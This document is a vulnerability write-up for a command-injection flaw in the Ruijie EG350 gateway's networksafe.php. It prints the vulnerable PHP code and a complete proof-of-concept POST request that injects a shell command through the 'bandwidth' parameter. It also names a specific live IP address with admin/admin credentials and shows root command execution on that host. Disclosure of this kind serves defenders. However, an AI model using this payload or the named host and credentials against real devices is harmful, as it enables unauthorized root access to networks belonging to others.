

# **Ruijie EG350 Easy Gateway Management System Has Remote Code Execution Vulnerability**

## **Vulnerability details**

The Ruijie EG350 Easy Gateway Management System has a remote code execution vulnerability, which allows attackers to gain server privileges and cause the server to crash.

## **Vulnerability location**

`/itbox_pi/networksafe.php`

## **Vulnerability recurrence**

View the `$bandwidth` in the function `set Action()` through the code to pass the parameters through the POST request, and they are not filtered. The construction parameters can enable remote code execution.

```

networksafe.php
39  header("Content-type: text/html;charset=gbk");
40  header("Cache-Control: no-cache, must-revalidate");
41  header("Pragma: no-cache");
42  echo `$$shell`;
43  }
44  /**
45  * 获取分支带宽
46  */
47  function getAction() {
48      $command = "/usr/local/evpn/server/echo_bandwidth.sh";
49      $content = [];
50      exec(escapeShellCmd($command), $content);
51      $data = array("status" => true,
52                  "data" => isset($content[0]) && $content[0] === "" ? "" : $content);
53      json_echo($data);
54  }
55  /**
56  * 不限速
57  */
58  function closeAction() {
59      evpnShell("/usr/local/evpn/server/cfg_bandwidth.sh disable");
60  }
61
62  public function setAction() {
63      $bandwidth = p("bandwidth");
64      if ($bandwidth == FALSE) {
65          json_echo(false);
66          return;
67      }
68      $command = "/usr/local/evpn/server/cfg_bandwidth.sh config " . $bandwidth;
69      evpnShell($command);
70  }
71
72  }
73
74  include_once dirname(dirname(__FILE__)) . '/init.php'; //mvc架构初始化
~
~
~

```

POC:

POST /itbox\_pi/networksafe.php?a=set HTTP/1.1

Host: 111.47.115.250:4430

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101  
Firefox/123.0

Accept: \*/\*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 31

Origin: https://111.47.115.250:4430

Sec-GPC: 1

Connection: close

Referer: https://111.47.115.250:4430/old\_pub/cache.html

Cookie: RUIJIEID=5n55f2b72egk8dvkp4bent6hu7; user=admin; HOME\_ALERT=88466;  
currentURL=index; subMenuId=1

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

bandwidth=id+>/tmp/html/1.txt`

This is a background vulnerability that requires logging in to gain access.

### Case 1:

URL: <https://111.47.115.250:4430/>

User/Pass: admin/admin

Use BurpSuite Send payload

The screenshot shows the Burp Suite interface with a target URL of <https://111.47.115.250:4430>. The 'Request' tab is active, displaying an HTTP POST request to `/itbox_pi/networksafe.php?a=set`. The request includes headers such as `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0` and a `Cookie` containing `RUIJIEID=5n55f2b72egk8dvkp4bent6hu7; user=admin; HOME_ALERT=88466; currentURL=index; subMenuId=1`. The request body contains a single line: `bandwidth='id+>/tmp/html/1.txt'`. The 'Response' tab is also visible, showing an HTTP 200 OK response from nginx with a `Set-Cookie: user=admin` header.

Then visit: <https://111.47.115.250:4430/1.txt>

The screenshot shows a web browser window with the address bar displaying <https://111.47.115.250:4430/1.txt>. The page content shows a shell prompt: `uid=0(root) gid=0(root)`, indicating that the user has successfully gained root access.